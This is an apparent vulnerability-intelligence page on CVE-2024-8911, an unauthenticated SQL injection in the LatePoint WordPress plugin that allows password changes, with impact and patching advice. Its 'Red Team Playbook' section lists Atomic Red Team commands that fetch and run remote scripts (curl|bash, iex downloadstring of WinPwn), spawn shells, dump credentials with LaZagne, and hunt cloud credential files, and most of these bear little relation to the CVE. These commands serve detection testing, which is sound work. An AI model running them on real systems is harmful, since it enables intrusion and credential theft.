CVE-2024-8911
Overview
This vulnerability is a SQL Injection affecting the LatePoint WordPress plugin up to version 5.0.11. The root cause is improper sanitization and escaping of user-supplied input within SQL queries, allowing injection of malicious SQL commands. The flaw resides in the component handling user password updates, specifically where user parameters are embedded into database queries without adequate preparation or parameterization.
Vulnerability Description
The LatePoint plugin for WordPress is vulnerable to Arbitrary User Password Change via SQL Injection in versions up to, and including, 5.0.11. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to change user passwords and potentially take over administrator accounts. Note that changing a WordPress user's password is only possible if the "Use WordPress users as customers" setting is enabled, which is disabled by default. Without this setting enabled, only the passwords of plugin customers, which are stored and managed in a separate database table, can be modified.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to change passwords of WordPress users or plugin customers, depending on configuration. This enables potential full account takeover, including administrative accounts if the relevant setting is enabled. The attack requires no privileges or user interaction and can lead to unauthorized access, data compromise, and lateral movement within the affected WordPress environment. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms no authentication or user interaction is needed.
Solution
Users should upgrade the LatePoint plugin to a version later than 5.0.11 where this SQL Injection vulnerability is patched. Refer to the official LatePoint changelog at https://wpdocs.latepoint.com/changelog/ for the exact patched version and update instructions. The Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/5c9a23a3-5eb5-4f5b-bf32-c9d163426f29 provides additional remediation guidance. No specific workarounds are documented; timely patching is recommended.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the LatePoint plugin for WordPress arises from an SQL injection flaw that allows for arbitrary user password changes. This issue is primarily due to insufficient escaping of user-supplied parameters and a lack of proper preparation in the SQL query. When an attacker exploits this vulnerability, they can manipulate the SQL commands executed by the database, leading to unauthorized changes in user credentials. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk that could lead to significant security breaches if left unaddressed.
Attack vectors for this vulnerability are particularly concerning, as they allow unauthenticated users to exploit the flaw. An attacker could craft a malicious request to the affected plugin, specifically targeting the password change functionality. If the "Use WordPress users as customers" setting is enabled, which is not the default configuration, the attacker could change the passwords of WordPress users, including administrators. This could lead to complete account takeover, enabling the attacker to gain full control over the affected WordPress site. Even if this setting is disabled, the attacker could still target customers managed by the plugin, which could have serious implications for businesses relying on the plugin for customer management.
The real-world impact of this vulnerability is substantial, particularly for organizations that utilize the LatePoint plugin for customer management within their WordPress installations. Unauthorized access to administrator accounts can lead to data breaches, loss of sensitive information, and potential financial repercussions. Additionally, if customer accounts are compromised, it could result in a loss of trust from clients and customers, damaging the organization’s reputation and leading to long-term business risks. The potential for widespread exploitation makes it imperative for organizations to take immediate action to mitigate this risk.
To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of the LatePoint plugin, as updates typically include security patches that address known vulnerabilities. Regularly auditing and monitoring SQL queries for unusual activity can also help in identifying potential exploitation attempts. Implementing web application firewalls (WAFs) can provide an additional layer of security by filtering out malicious requests before they reach the application. Furthermore, organizations should consider disabling the "Use WordPress users as customers" setting unless absolutely necessary, as this can significantly reduce the attack surface.
In conclusion, the SQL injection vulnerability present in the LatePoint plugin poses a critical threat to WordPress installations. The ability for unauthenticated attackers to change user passwords can lead to severe consequences, including unauthorized access and data breaches. Organizations must prioritize the application of security updates, implement robust detection mechanisms, and adopt best practices for securing their WordPress environments to mitigate the risks associated with this vulnerability effectively. By taking these proactive measures, businesses can protect themselves against potential exploitation and safeguard their digital assets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Latepoint | Latepoint | All |
cpe:2.3:a:latepoint:latepoint:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-8911 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/5c9a23a3-5eb5-4f5b-bf32-c9d163426f29?source=cve |
| wpdocs.latepoint.com |
GitHub CVE
|
https://wpdocs.latepoint.com/changelog/ |